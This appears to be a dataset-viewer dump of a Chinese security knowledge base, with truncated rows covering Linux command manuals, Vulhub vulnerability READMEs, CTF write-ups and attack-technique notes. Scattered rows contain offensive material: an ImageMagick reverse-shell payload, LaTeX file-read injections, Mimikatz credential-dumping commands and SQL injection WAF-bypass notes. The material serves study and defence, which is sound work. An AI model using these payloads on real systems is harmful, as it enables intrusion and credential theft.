text stringlengths 100 9.93M | category stringclasses 11
values |
|---|---|
netstat
===
查看Linux中网络系统状态信息
## 补充说明
**netstat命令** 用来打印Linux中网络系统的状态信息,可让你得知整个Linux系统的网络情况。
### 语法
```shell
netstat(选项)
```
### 选项
```shell
-a或--all:显示所有连线中的Socket;
-A<网络类型>或--<网络类型>:列出该网络类型连线中的相关地址;
-c或--continuous:持续列出网络状态;
-C或--cache:显示路由器配置的快取信息;
-e或--extend:显示网络其他相关信息;
-F或--fib:显示FIB;
-g或--groups:显示多重广播功能群组组员名... | sec-knowleage |
egrep
===
在文件内查找指定的字符串
## 补充说明
**egrep命令** 用于在文件内查找指定的字符串。egrep执行效果与`grep -E`相似,使用的语法及参数可参照grep指令,与grep的不同点在于解读字符串的方法。egrep是用extended regular expression语法来解读的,而grep则用basic regular expression 语法解读,extended regular expression比basic regular expression的表达更规范。
### 语法
```shell
egrep(选项)(查找模式)(文件名1,文件名2,……)
```
### 实例
显示文件中... | sec-knowleage |
# Neo4j Shell Server `setSessionVariable` Deserialization (CVE-2021-34371)
[中文版本(Chinese version)](README.zh-cn.md)
Neo4j is a graph database management system developed by Neo4j, Inc.
Neo4j through 3.4.18 (with the shell server enabled) exposes an RMI service that arbitrarily deserializes Java objects, e.g., throug... | sec-knowleage |
timedatectl
===
用于在 Linux 中设置或查询系统时间、日期和时区等配置。
## 补充说明
在 Linux 运维中,通常使用此命令来设置或更改当前的日期、时间和时区,或启用自动系统时钟与远程 NTP 服务器同步,以确保 Linux 系统始终保持正确的时间。
## 概要
```shell
timedatectl [OPTIONS...] COMMAND ...
```
## 主要用途
- 转换时间到选定的格式,默认为当前。
- 设置系统时间。
## 参数
```shell
Query or change system time and date settings.
-h --help ... | sec-knowleage |
# 编译内核驱动
这里我们来尝试编译一个驱动模块。驱动代码如下
```c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
MODULE_LICENSE("Dual BSD/GPL");
static int ko_test_init(void)
{
printk("This is a test ko!\n");
return 0;
}
static void ko_test_exit(void)
{
printk("Bye Bye~\n");
}
module_init(ko_test_init);
m... | sec-knowleage |
# Intelligence Api
* Category: Web
* 100 points
## Description
> Intelligence officers pay attention. The police will not remain behind.
> Our recently released API lets you get information before starting a mission.
> Stay put!
## Solution
A website was attached. It said:
```html
<div class="col-md-12">
<span ... | sec-knowleage |
# PumpkinGarden-WalkThrough
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**靶机地址**
- https://www.vulnhub.com/entry/mission-pumpkin-v10-pumpkingarden,321/
**Description**
Mission-Pumpkin v1.0 is a beginner level CTF series, created by keeping beginners in mind. This CTF series is for people who ha... | sec-knowleage |
nc
===
nc是网络工具中的瑞士军刀
## 补充说明
**nc命令** 全称**netcat**,用于TCP、UDP或unix域套接字(uds)的数据流操作,它可以打开TCP连接,发送UDP数据包,监听任意TCP
和UDP端口,同时也可用作做端口扫描,支持IPv4和IPv6,与Telnet的不同在于nc可以编写脚本。
### 语法
```shell
nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>]
[-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
```
### 选项
```shell
-4 只使用IPV4
... | sec-knowleage |
# Top Kek (crypto 50)
###ENG
[PL](#pl-version)
In the task we get encrypted data:
```
KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP!! KEK!!! TOP!! KEK!!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP!!!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!!!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KE... | sec-knowleage |
version: '3'
services:
web:
image: vulhub/neo4j:3.4.18
ports:
- "7474:7474"
- "7687:7687"
- "1337:1337"
- "34444:34444"
environment:
NEO4J_AUTH: "neo4j/vulhub"
JAVA_OPTS: "-Djava.rmi.server.hostname=${TARGET_IP:-127.0.0.1}" | sec-knowleage |
# userfaultfd 的使用
## 概述
严格意义而言 userfaultfd 并非是一种利用手法,**而是 Linux 的一个系统调用**,简单来说,通过 userfaultfd 这种机制,**用户可以通过自定义的 page fault handler 在用户态处理缺页异常**。
下面的这张图很好地体现了 userfaultfd 的整个流程:
要使用 userfaultfd 系统调用,我们首先要注册一个 userfaultfd,通过 ioctl 监视一块内存区域,同时还需要专门启动一个用以进行轮询的线程 `uffd monitor`,该线程会通过 `poll()` 函数不断轮询**直到出现缺页异常**
- 当有一个线程在这块... | sec-knowleage |
# 学习资源
## 在线学习
- [i 春秋-专业的网络安全|信息安全在线学习培训平台](http://www.ichunqiu.com)
- [看雪知识库](https://www.kanxue.com/chm.htm)
- [CTFHub](https://www.ctfhub.com/)
## 学习路线
- [知道创宇研发技能表 v3.1](http://blog.knownsec.com/Knownsec_RD_Checklist/index.html)
- [漏洞银行(BUGBANK)技能树 ](https://skills.bugbank.cn/)
- [安全技能树简版 by 余弦](http:/... | sec-knowleage |
'\"
'\" Copyright (c) 1993 The Regents of the University of California.
'\" Copyright (c) 1994-1997 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: rename.n,v 1.2 2003/11/24 05:09:59... | sec-knowleage |
ssh-keygen
===
为ssh生成、管理和转换认证密钥
## 补充说明
**ssh-keygen命令** 用于为“ssh”生成、管理和转换认证密钥,它支持RSA和DSA两种认证密钥。
### 语法
```shell
ssh-keygen(选项)
```
### 选项
```shell
-b:指定密钥长度;
-e:读取openssh的私钥或者公钥文件;
-C:添加注释;
-f:指定用来保存密钥的文件名;
-i:读取未加密的ssh-v2兼容的私钥/公钥文件,然后在标准输出设备上显示openssh兼容的私钥/公钥;
-l:显示公钥文件的指纹数据;
-N:提供一个新密语;
-P:提供(旧)密语;
-q:静默模式;
-t:指定要创... | sec-knowleage |
mii-tool
===
配置网络设备协商方式的工具
## 补充说明
**mii-tool命令** 是用于查看、管理介质的网络接口的状态,有时网卡需要配置协商方式,比如10/100/1000M的网卡半双工、全双工、自动协商的配置。但大多数的网络设备是不用我们来修改协商,因为大多数网络设置接入的时候,都采用自动协商来解决相互通信的问题。不过自动协商也不是万能的,有时也会出现错误,比如丢包率比较高,这时就要我们来指定网卡的协商方式。mii-tool就是能指定网卡的协商方式。下面我们说一说mii-tool的用法。
### 语法
```shell
usage: mii-tool [-VvRrwl] [-A media,... | -F m... | sec-knowleage |
### [第四十一课:bitsadmin一句话下载payload](../Chapter1/41_bitsadmin一句话下载payload.md)
### [第四十二课:攻击FTP服务](../Chapter1/42_攻击FTP服务.md)
### [第四十三课:js一句话下载payload](../Chapter1/43_js一句话下载payload.md)
### [第四十四课:ertutil一句话下载payload补充](../Chapter1/44_ertutil一句话下载payload补充.md)
### [第四十五课:解决bat一句话下载payload黑窗](../Chapter1/45_解决bat一句... | sec-knowleage |
# 0x00 简介
其实我们过这些waf就是个正则的绕过,因为这种通用型的waf,需要考虑到用户体验,他不能出现什么东西就直接拦截,比正则过滤的一些好绕一点,如何成功绕过我们需要具备对mysql各个函数、语法、特性的熟悉,然后通过不断的fuzz来测试出我们想要的payload的
每个狗的版本不同,他的正则也是不同的所以有的payload在最新版可以用,在老版本就可能用不上,当你的知识量有一定的积累后,绕过waf或许就很简单,
如何快速的提升自己的这些知识,多看文章,多看官方手册。
# 0x01 探索 and
实验环境 : win2003 apache 安全狗4.0.23957
首先我们来探索简单的语句 `and 1=1`
```
a... | sec-knowleage |
# T1010-win-应用程序窗口发现
## 来自ATT&CK的描述
攻击者可能会尝试获取打开的应用程序窗口的列表。窗口列表可以传达有关如何使用系统的信息,也可以为键盘记录程序收集的信息提供上下文。
在Mac中,可以使用小的AppleScript脚本本机完成。
## 测试案例
Windows server 2016模拟执行以下命令发现正在运行的应用程序窗口。
```powershell
get-process | where-object {$_.mainwindowtitle -ne ""} | Select-Object mainwindowtitle
```
通过COM方法获取应用程序窗口,还包括过程路径和窗口位置坐标:
`... | sec-knowleage |
groupmod
===
更改群组识别码或名称
## 补充说明
**groupmod命令** 更改群组识别码或名称。需要更改群组的识别码或名称时,可用groupmod指令来完成这项工作。
### 语法
```shell
groupmod(选项)(参数)
```
### 选项
```shell
-g<群组识别码>:设置欲使用的群组识别码;
-o:重复使用群组识别码;
-n<新群组名称>:设置欲使用的群组名称。
```
### 参数
组名:指定要修改的工作的组名。 | sec-knowleage |
# bfnote
This is **unintended** solution. For intended one see other writeups here: [https://ctftime.org/task/13089](https://ctftime.org/task/13089)
In this challenge we can make a POST request to the server containing brainfuck code. Then we can send the prepared brainfuck note to the admin. That suggests that the sol... | sec-knowleage |
# 模数相关攻击
## 暴力分解 N
### 攻击条件
在 N 的比特位数小于 512 的时候,可以采用大整数分解的策略获取 p 和 q。
### JarvisOJ - Easy RSA
这里我们以 "JarvisOJ - Easy RSA" 为例进行介绍,题目如下
> 还记得 veryeasy RSA 吗?是不是不难?那继续来看看这题吧,这题也不难。
> 已知一段 RSA 加密的信息为:0xdc2eeeb2782c 且已知加密所用的公钥:
> N=322831561921859 e = 23
> 请解密出明文,提交时请将数字转化为 ascii 码提交
> 比如你解出的明文是 0x6162,那么请提交字符串 ab ... | sec-knowleage |
from sqlalchemy import create_engine
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import relationship, scoped_session, sessionmaker
from sqlalchemy import Column, DateTime, ForeignKey, Boolean, Integer, Text, func, String
engine = create_engine('sqlite:///level18.db', convert_unicode... | sec-knowleage |
dc
===
任意精度计算器
## 说明
dc 是一款逆波兰表达式计算器,支持无限制精度的算术运算。它还允许您定义和调用宏。通常,dc从标准输入读取,也可以通过参数传入文件来求值。
## 语法
```shell
dc [选项] [文件...]
```
### 选项
```shell
-e, --expression=EXPR # 评估表达式
-f, --file=FILE # 评估文件内容
-h, --help # 显示此帮助并退出
-V, --version # 输出版本信息并退出
```
```shell
p 打印堆栈顶部的值并以换行符结束语句。
n 打... | sec-knowleage |
# Lin.Security
下载地址:https://download.vulnhub.com/linsecurity/lin.security_v1.0.ova
> 使用VB启动,VMware获取不到IP地址
## 实战演练
> 账号密码:bob/secret
靶场的IP地址:`192.168.32.6`

扫描对外端口
```
┌──(root㉿kali)-[~/Desktop]
└─# nmap -sV -p1-65535 192.168.... | sec-knowleage |
import gmpy2
import itertools
import re
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from crypto_commons.netcat.netcat_commons import send, receive_until_match, nc
from crypto_commons.oracle.lsb_oracle import lsb_oracle_from_bits
from crypto_commons.rsa.rsa_commons import modinv
def command... | sec-knowleage |
# LaTex Injection
## Read file
Read file and interpret the LaTeX code in it:
```tex
\input{/etc/passwd}
\include{somefile} # load .tex file (somefile.tex)
```
Read single lined file:
```tex
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
Read multiple lined file:
```tex
\newread\... | sec-knowleage |
# can-you-gets-me
Binary Exploitation, 650 points
## Description:
> Can you exploit the following program to get a flag? You may need to think return-oriented if you want to program your way to the flag.
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define B... | sec-knowleage |
## QR Puzzle: Web (Unknown, 400p)
Solve the slide puzzle and decode the QR code.
http://puzzle.quals.seccon.jp:42213/slidepuzzle
###PL
[ENG](#eng-version)
Podobnie jak w poprzednich QR Puzzle dostajemy QR code i mamy go rozwiązać. Tym razem problemem jest to, że brakuje fragmentu kodu.

Z czasem ... | sec-knowleage |
## MeowMeow 75 (misc, 75p)

### PL
[ENG](#eng-version)
Dostajemy [dziwny plik tekstowy](meowmeow) z różnymi wyrażeniami typu `((_____ << __) + _)`
Jeśli ktoś robił cokolwiek w C to pewnie rozpozna syntax tego języka.
`A << B` odpowiada przesunięciu `A` o `B` bitów w lewo, a `A + B` i `(...)` ... | sec-knowleage |
.TH MKPASSWD 1 "22 August 1994"
.SH NAME
mkpasswd \- 为用户产生新口令
.SH 总览 SYNOPSIS
.B mkpasswd
.I
[
.I args
]
[
.I user
]
.SH 介绍 INTRODUCTION
.B mkpasswd
为用户产生口令并自动应用。它是基于O'Reilly的书\fI《Exploring Expect》\fR第23章中的代码的。
.SH 用法 USAGE
不带参数的话,
.B mkpasswd
返回一个新口令。带上用户名的话,
.B mkpasswd
为该用户分配一个新口令。
.PP
根据以下的标志可以随机性的产生口令。
.SH 标志 FLAG... | sec-knowleage |
# Node.js 目录穿越漏洞(CVE-2017-14849)
## 漏洞原理
参考文档:
- https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/
- https://security.tencent.com/index.php/blog/msg/121
原因是 Node.js 8.5.0 对目录进行`normalize`操作时出现了逻辑错误,导致向上层跳跃的时候(如`../../../../../../etc/passwd`),在中间位置增加`foo/../`(如`../../../foo/../../../../etc/p... | sec-knowleage |
---
title: Apex Legends
date: 2022-11-23 16:23:31.706352
background: bg-[#a74145]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 27 default keyboard shortcuts found in Apex Legends
---
Keyboard Shortcuts
------------------
### Movement
Shortcut | Action
---|-... | sec-knowleage |
# 使用ESXI和Vagrant搭建实验环境
## 环境设计
ESXi 6.5安装在物理机上,在隔离的虚拟网络上有多个VM。虚拟防火墙是内部网络的边界,并提供VPN访问。VPN访问将设置为直接连接到网络,但不提供域用户。
##域设计
暂无
## 服务计划
```
主机名 角色 OS
DC01 域控制器 Server 2012 R2
FS01 文件服务器 Server 2008 R2
WEB01 网络服务器 Server 2016 Tech Eval
WS01 工作站 ... | sec-knowleage |
# ImageMagick Exploits
## ImageTragik Exploit v1
Simple reverse shell
```powershell
push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 '|/bin/sh -i > /dev/tcp/ip/80 0<&1 2>&1'
pop graphic-context
pop graphic-context
```
## ImageTragik Exploit v2
Simple `id` ... | sec-knowleage |
### 单步跟踪法概述
单步跟踪法的原理就是通过Ollydbg的步过(F8), 步入(F7)和运行到(F4)功能, 完整走过程序的自脱壳过程, 跳过一些循环恢复代码的片段, 并用单步进入确保程序不会略过OEP. 这样可以在软件自动脱壳模块运行完毕后, 到达OEP, 并dump程序.
### 单步跟踪法要点
1. 打开程序按F8单步向下, 尽量实现向下的jmp跳转
2. 会经常遇到大的循环, 这时要多用 F4 来跳过循环
3. 如果函数载入时不远处就是一个call(近call), 那么我们尽量不要直接跳过, 而是进入这个call
4. 一般跳转幅度大的jmp指令, 都极有可能是跳转到了原程序入口点(OEP)
### 单步跟踪法示例
示... | sec-knowleage |
# slippery-shellcode
Binary Exploitation, 200 points
## Description:
> This program is a little bit more tricky. Can you spawn a shell and use that to read the flag.txt?
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 512
#define FLAGSIZE 128
vo... | sec-knowleage |
#!/usr/bin/env python
import gmpy2
from Crypto.Util.number import *
import random
from flag import flag
def primorial(p):
q = 1
s = 1
while q < p:
r = gmpy2.next_prime(q)
if r <= p:
s *= r
q = r
else:
break
return s
def gen_prime(nbit):
... | sec-knowleage |
# IO
---
- https://www.kancloud.cn/imxieke/ruby-base/107305
---
IO 类的主要作用就是让程序与外部进行数据的输入(input)/ 输出(output)操作。
# 输入 / 输出的种类
**标准输入 / 输出**
程序在启动后会预先分配 3 个 IO 对象。
- 标准输入
标准输入可以获取从键盘输入的内容。通过预定义常量 `STDIN` 可调用操作标准输入的 IO 对象。另外,用全局变量 `$stdin` 也可以引用标准输入的 IO 对象。不指定接收者的 `gets` 方法等都会默认从标准输入中获取数据。
- 标准输出
向标准输出写入的数据会显示在屏幕中。... | sec-knowleage |
# Somewhat SecureBoot
Category: Pwn, 150 Points
## Description
> My boss told me to implement a chain of trust mechanism for a remote server boot process. He said: "There are 3 bootloaders - BL1, BL2, BL3. make sure that no one will be able to compromise our images. use a strong integrity solution, You can use SHA256 o... | sec-knowleage |
# 文件
`Linux 的哲学就是一切皆文件`
> 注 : 笔记中拓扑图 xmind 源文件在其图片目录下
---
## 大纲
* **[文件类型](#文件类型)**
* **[文件权限](#文件权限)**
* **[目录结构](#目录结构)**
* [/bin](#bin)
* [/boot](#boot)
* [/dev](#dev)
* [/etc](#etc)
* [/home](#home)
* [/lib](#lib)
* [/lost+found](#lostfound)
* [/media](#media)
* [/opt](#opt)
* [/proc](#proc)
*... | sec-knowleage |
# Tape, misc, 355p
> We've found this priceless, old magnetic tape in our archives. We dumped the contents, but the data is corrupted and we can't read it. We only have this old tape reader tool, but source code was lost long ago. The program has only 944 bytes, so reversing it should be trivial, right?
We got a FLAGZ.... | sec-knowleage |
## 欢迎使用Markdown语法
语法详解请点链接:
英文版[https://guides.github.com/features/mastering-markdown/](https://guides.github.com/features/mastering-markdown/)
中文版[http://www.appinn.com/markdown/](http://www.appinn.com/markdown/)
以下是简洁版语法,相信你能用分钟学会它,然后开始写作:
```markdown
标题
# 一级标题
## 二级标题
### 三级标题
列表
- Bulleted
- List
1. Numbered
2. Lis... | sec-knowleage |
# T1589-002-收集目标组织身份信息-邮箱地址
## 来自ATT&CK的描述
在入侵受害者之前,攻击者可能会收集邮件地址信息,这些信息可以在目标定位期间使用。即使存在内部实例,组织也可能具有外部的电子邮件系统和员工邮箱。
攻击者可以轻松地收集邮件地址,因为它们很容易获得并且可以通过在线或其他可访问的数据集(例如:[社交媒体](https://contribute.knowledge.qihoo.net/detail/technique/T1593/001)或[搜索受害者拥有的网站](https://contribute.knowledge.qihoo.net/detail/technique/T1594))暴露给攻击者(引自... | sec-knowleage |
# Micro-CMS v1
## [Flag0](./flag0) -- Found
- Try creating a new page
- How are pages indexed?
- Look at the sequence of IDs
- If the front door doesn't open, try the window
- In what ways can you retrieve page contents?
## [Flag1](./flag1) -- Found
- Make sure you tamper with every input
- Have you tested for the usua... | sec-knowleage |
fmt
===
读取文件后优化处理并输出
## 补充说明
**fmt命令** 读取文件的内容,根据选项的设置对文件格式进行简单的优化处理,并将结果送到标准输出设备。
### 语法
```shell
fmt(选项)(参数)
```
### 选项
```shell
-c或--crown-margin:每段前两列缩排;
-p<列起始字符串>或-prefix=<列起始字符串>:仅合并含有指定字符串的列,通常运用在程序语言的注解方面;
-s或--split-only:只拆开字数超出每列字符数的列,但不合并字数不足每列字符数的列;
-t或--tagged-paragraph:每列前两列缩排,但第1列和第2列的缩排格式不同;
-u或--uni... | sec-knowleage |
# XML
---
## DOM
DOM 是 Document Object Model 的缩写,DOM 模型就是把 XML 结构作为一个树形结构处理,从根节点开始,每个节点都可以包含任意个子节点。
我们以下面的 XML 为例:
```xml
<?xml version="1.0" encoding="UTF-8" ?>
<book id="1">
<name>Java核心技术</name>
<author>Cay S. Horstmann</author>
<isbn lang="CN">1234567</isbn>
<tags>
<tag>Java</tag>
<t... | sec-knowleage |
---
title: PostgreSQL 数据库 SSRF
---
<center><h1>PostgreSQL 数据库 SSRF</h1></center>
---
如果获得了 PostgreSQL 数据库权限,可以通过 PostgreSQL 中的 dblink 插件横向到其他同网段数据库,这里以 AWS RDS 为例。
这里假设已经得到了一个 PostgreSQL 数据库权限,通过信息收集获得了另一台 PostgreSQL 数据库连接信息,但网络不通无法直接连接,这时可以尝试使用已有的这台 PostgreSQL 数据库进行连接。
```sql
create extension dblink;
select dblink_con... | sec-knowleage |
version: '2'
services:
couchdb:
image: vulhub/couchdb:2.1.0
ports:
- "5984:5984"
environment:
COUCHDB_USER: admin
COUCHDB_PASSWORD: password
initd:
image: buildpack-deps:focal-curl
command: "bash /init.sh"
environment:
COUCHDB_URL: couchdb:5984
COUCHDB_AUTH: a... | sec-knowleage |
# T1070-004-win-使用Fsutil删除卷USN日志
## 来自ATT&CK的描述
攻击者可能会删除其入侵活动所留下的文件。攻击者在系统上丢弃创建的恶意软件、工具或其他可能会留下痕迹的非本机文件。这些文件的删除可以在入侵过程中进行,也可以作为入侵后的过程中进行,以最大程度地减少攻击者留下的足迹。
主机操作系统中提供了一些工具来执行清除,但攻击者也可以使用其他工具。其中包括本机cmd函数(例如DEL),安全删除工具(例如Windows Sysinternals SDelete)或其他第三方文件删除工具。
## 测试案例
识别使用fsutil.exe删除USN JRNL卷。攻击者使用此技术来消除利用漏洞后创建的文件的活动证据... | sec-knowleage |
chmod
===
用来变更文件或目录的权限
## 概要
```shell
chmod [OPTION]... MODE[,MODE]... FILE...
chmod [OPTION]... OCTAL-MODE FILE...
chmod [OPTION]... --reference=RFILE FILE...
```
## 主要用途
- 通过符号组合的方式更改目标文件或目录的权限。
- 通过八进制数的方式更改目标文件或目录的权限。
- 通过参考文件的权限来更改目标文件或目录的权限。
## 参数
mode:八进制数或符号组合。
file:指定要更改权限的一到多个文件。
## 选项
```shell
-c, --changes... | sec-knowleage |
# 网络安全监控:Bro
[官网地址](https://www.bro.org/)
[学习平台](https://www.bro.org/documentation/index.html)
## 安装与使用
### Centos7安装Bro
* **解决依赖**
```
yum install cmake.x86_64 gcc.x86_64 gcc-c++.x86_64 flex.x86_64 bison.x86_64 libpcap.x86_64 libpcap-devel.x86_64 openssl-devel.x86_64 python-devel.x86_64 swig.x86_64 zlib-devel.x86_64 -... | sec-knowleage |
# T1105-win-入口工具转移-IMEWDBLD.exe(白名单)
## 来自ATT&CK的描述
攻击者可能会将工具或其他文件从外部系统转移到被攻击的环境中。可以通过命令和控制通道从外部攻击者控制的系统复制文件,用以将工具带入被攻击的网络中,或通过其他工具(如 FTP)的替代协议。 也可以使用 scp、rsync 和 sftp等本地工具在Mac和 Linux上复制文件。
## 测试案例
IMEWDBLD.exe是微软拼音的开放扩展字典模块,主要用来下载字典文件,在Windows中主要存在路径为:
**路径:**
```
- C:\Windows\System32\IME\SHARED\IMEWDBLD.exe
```
可以... | sec-knowleage |
# Bank (crypto, 94p)
In the challenge we get two files.
First one contains [properly looking Schnorr signature code](schnorr.py) and the second one is the [server code](multi-schnorr.py).
The application generates a new private-public key for the server and then in look:
- asks us for our public key
- ask for action to... | sec-knowleage |
# 0x00 盲注
盲注我这里只归纳为
1. 时间盲注
2. 布尔盲注
其实在如今的实际环境中一般盲注的情况毕竟多,时间盲注太费时间 同时对网络要求比较高,二分,dnslog,等等可以加快注入的进程。
# 0x01 盲注中值得注意的问题
1. 盲注中使用 and 你得确定你查询的值得存在 。
2. 在返回多组数据的情况下,你的延时不再是 单纯的 `sleep(5)` 他将根据你返回的数据条数来反复执行
3. 在如同搜索型时尽量搜索存在且数目较少的关键词
4. 尽量不要使用 or
至于以上为什么会出现这种原因 推荐大家看看 这篇文章讲的很清楚https://www.t00ls.net/thread-45590-1-10.html
... | sec-knowleage |
# 34. 二叉树中和为某一值的路径
[NowCoder](https://www.nowcoder.com/practice/b736e784e3e34731af99065031301bca?tpId=13&tqId=11177&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
输入一颗二叉树和一个整数,打印出二叉树中结点值的和为输入整数的所有路径。路径定义为从树的根结点开始往下一直到叶结点所经过的结点形成一条路径。
下图的二叉树有两条和为 22 的路径:10, 5, 7... | sec-knowleage |
# 序列化
---
使用 Java 对象序列化,在保存对象时,会把其状态保存为一组字节,在未来,再将这些字节组装成对象。必须注意地是,对象序列化保存的是对象的”状态”,即它的成员变量。由此可知,对象序列化不会关注类中的静态变量。
序列化(serialize) - 序列化是将对象转换为字节流。
反序列化(deserialize) - 反序列化是将字节流转换为对象。
序列化用途
* 序列化可以将对象的字节序列持久化——保存在内存、文件、数据库中。
* 在网络上传送对象的字节序列。
* RMI(远程方法调用)
Java 序列化和反序列化
Java 通过对象输入输出流来实现序列化和反序列化:
* `java.io.ObjectOutputS... | sec-knowleage |
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH CUT 1 2022年9月 "GNU coreutils 9.1"... | sec-knowleage |
.\" Copyright (c) 1987, 1988, 1989, 1990, 1991, 1992, 1994, 1995, 1996, 1997
.\" The Regents of the University of California. All rights reserved.
.\" All rights reserved.
.\"
.\" Redistribution and use in source and binary forms, with or without
.\" modification, are permitted provided that: (1) source code distr... | sec-knowleage |
# 42. 连续子数组的最大和
[NowCoder](https://www.nowcoder.com/practice/459bd355da1549fa8a49e350bf3df484?tpId=13&tqId=11183&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
{6, -3, -2, 7, -15, 1, 2, 2},连续子数组的最大和为 8(从第 0 个开始,到第 3 个为止)。
## 解题思路
```java
public int FindGreatest... | sec-knowleage |
# Troll 3
> https://download.vulnhub.com/tr0ll/Tr0ll3.ova
>
> ssh:`start:here`
靶场IP:`192.168.32.174`

扫描对外端口
```
┌──(root💀kali)-[~/Desktop]
└─# nmap -p1-65535 192.168.32.174 ... | sec-knowleage |
# Linux
<!-- GFM-TOC -->
* [Linux](#linux)
* [前言](#前言)
* [一、常用操作以及概念](#一常用操作以及概念)
* [快捷键](#快捷键)
* [求助](#求助)
* [关机](#关机)
* [PATH](#path)
* [sudo](#sudo)
* [包管理工具](#包管理工具)
* [发行版](#发行版)
* [VIM 三个模式](#vim-三个模式)
* [GNU](#gnu)
* [开源协议](#... | sec-knowleage |
# Mimikatz
家喻户晓的工具Mimikatz可以dump凭据,也就是hash,可以在gentilwiki的github主页找到最新的编译好的利用文件。
Mimikatz的运行需要管理员权限,它可以从administrator权限提升到system权限。
```
mimikatz # privilege::debug
Privilege '20' OK
```
## Dumping creds from lsass
```
mimikatz # sekurlsa::logonpasswords
```
## DPAPI方法
有些用户在进行3389连接的时候,会选择把密码保存在本地的选项。
凭据通常存储在以下两个目录中的文件中:... | sec-knowleage |
# [TODO]算法层面上的对抗分析
## 1. 团伙识别
黑灰产团伙的识别,可以从行为出发,而行为的角度上来看,可以尝试识别异常的行为模式,因为通常来说正常用户是分散的,而可疑的行为通常是紧密的。
### 1.1 基于图的挖掘算法
- Louvain
- FRAUDAR
- CatchSync | sec-knowleage |
.TH init_module ""
.SH NAME
init_module - 初始化一条可加载模块的记录.
.SH 总览
.B #include <linux/module.h>
.sp
int init_module(const char *name, struct module *image);
.SH 描述
init_module加载已被重定位的模块映象到内核空间,并运行模块的初始化函数.
模块映象以module结构开始,紧跟着代码和数据,module定义如下:
struct module
{
... | sec-knowleage |
.TH LabelFrame 3tk "tcllib - BWidget"
.SH NAME
.B LabelFrame - 有一个标签的框架.
.SH 创建 CREATION
.B LabelFrame pathName ?option value...?
.SH 描述 DESCRIPTION
LabelFrame 使用户能建立带有可定位在任何一边的一个标签的框架。ComboBox 和 SpinBox 使用了 LabelFrame。
.SH 组件特有选项 WIDGET-SPECIFIC OPTIONS
.TP
-side (read-only)
指定把标签定位于相对于用户框架的: top、bottom、left 或 right... | sec-knowleage |
'\"
'\" Copyright (c) 1990-1994 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: send.n,v 1.2 2003/11/24 05:10... | sec-knowleage |
import codecs
def convert_single_char(start_pos, bits):
end_pos = 9
continuation = int(bits[start_pos])
character = bits[start_pos + 1:start_pos + 9]
c = int(character, 2)
if continuation:
character = bits[start_pos + 9:start_pos + 18]
c <<= 8
c += int(character, 2)
... | sec-knowleage |
# LD_PRELOAD
## 原理
正常情况下, Linux 动态加载器`ld-linux`(见man手册ld-linux(8))会搜寻并装载程序所需的共享链接库文件, 而`LD_PRELOAD`是一个可选的环境变量, 包含一个或多个指向共享链接库文件的路径. 加载器会先于C语言运行库之前载入`LD_PRELOAD`指定的共享链接库,也就是所谓的预装载(`preload`)。
预装载意味着会它的函数会比其他库文件中的同名函数先于调用, 也就使得库函数可以被阻截或替换掉. 多个共享链接库文件的路径可以用`冒号`或`空格`进行区分. 显然不会受到`LD_PRELOAD`影响的也就只有那些静态链接的程序了.
当然为避免用于恶意攻击, 在... | sec-knowleage |
ifup
===
激活指定的网络接口
## 补充说明
**ifup命令** 用于激活指定的网络接口。
### 语法
```shell
ifup(参数)
```
### 参数
网络接口:要激活的网络接口。
### 实例
```shell
ifup eth0 #激活eth0
``` | sec-knowleage |
# Serialize (Web)
This challenge deserves highlighting because it required absolutely no guessing.
We have to deal with the following PHP code:
```php
<?php
class MagicCode {
private $command;
private $commandArgs;
public function __construct($command, $commandArgs) {
$this->command = $command;
... | sec-knowleage |
# Leetcode 题解 - 栈和队列
<!-- GFM-TOC -->
* [Leetcode 题解 - 栈和队列](#leetcode-题解---栈和队列)
* [1. 用栈实现队列](#1-用栈实现队列)
* [2. 用队列实现栈](#2-用队列实现栈)
* [3. 最小值栈](#3-最小值栈)
* [4. 用栈实现括号匹配](#4-用栈实现括号匹配)
* [5. 数组中元素与下一个比它大的元素之间的距离](#5-数组中元素与下一个比它大的元素之间的距离)
* [6. 循环数组中比当前元素大的下一个元素](#6-循环数组中比当前元素大的下一个元素)
<!-- GFM-TOC -... | sec-knowleage |
# ImageMagick任意文件读取漏洞(CVE-2022-44268)
ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。
在ImageMagick 7.1.0-51版本及以前,其处理PNG文件的代码中存在一处功能,会导致转换图片时读取到当前操作系统上的任意文件,并将文件内容输出在图片内容中。
参考链接:
